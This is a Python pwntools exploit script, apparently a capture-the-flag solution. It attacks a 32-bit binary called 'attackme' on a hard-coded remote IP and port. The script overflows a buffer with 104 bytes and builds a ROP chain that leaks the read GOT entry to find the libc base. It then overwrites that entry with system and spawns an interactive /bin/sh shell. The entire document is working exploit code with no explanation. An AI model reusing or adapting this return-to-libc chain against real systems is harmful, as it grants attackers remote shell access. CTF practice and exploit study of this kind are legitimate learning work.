attack.py

from pwn import *
from hexdump import *

#p = process("./attackme")
p = remote("223.194.105.182", 37100)
libc = ELF("./libc-2.23.so")

def main():
	read = 0x080483B0
	read_got = 0x804A00C
	write = 0x08048410
	write_got = 0x804A024
	pop3ret = 0x80485f9
	freespace = 0x0804A028
	cmd = "/bin/sh"

	payload = "A" * 104

	payload += p32(read)
	payload += p32(pop3ret)
	payload += p32(0)
	payload += p32(freespace)
	payload += p32(len(cmd))

	payload += p32(write)
	payload += p32(pop3ret)
	payload += p32(1)
	payload += p32(read_got)
	payload += p32(4)
	"""
	payload += p32(read)
	payload += p32(pop3ret)
	payload += p32(0)
	payload += p32(freespace)
	payload += p32(len("/bin/sh"))

	payload += p32(write)
	payload += p32(pop3ret)
	payload += p32(1)
	payload += p32(0x804A024)
	payload += p32(4)
	"""

	payload += p32(read)
	payload += p32(pop3ret)
	payload += p32(0)
	payload += p32(read_got)
	payload += p32(4)

	payload += p32(read)
	payload += "AAAA"
	payload += p32(freespace)

	p.sendline(payload)

	p.recvuntil("thing\n")

	p.recv(1024)


	p.send("/bin/sh")

	leak = u32(p.recv(4))
	log.info("read: " + hex(leak))
	base = leak - 0xd5980
	log.info("libc base: " + hex(base))

	system = base + 0x3ada0

	p.send(p32(system))

	p.interactive()

if __name__=="__main__":
	main()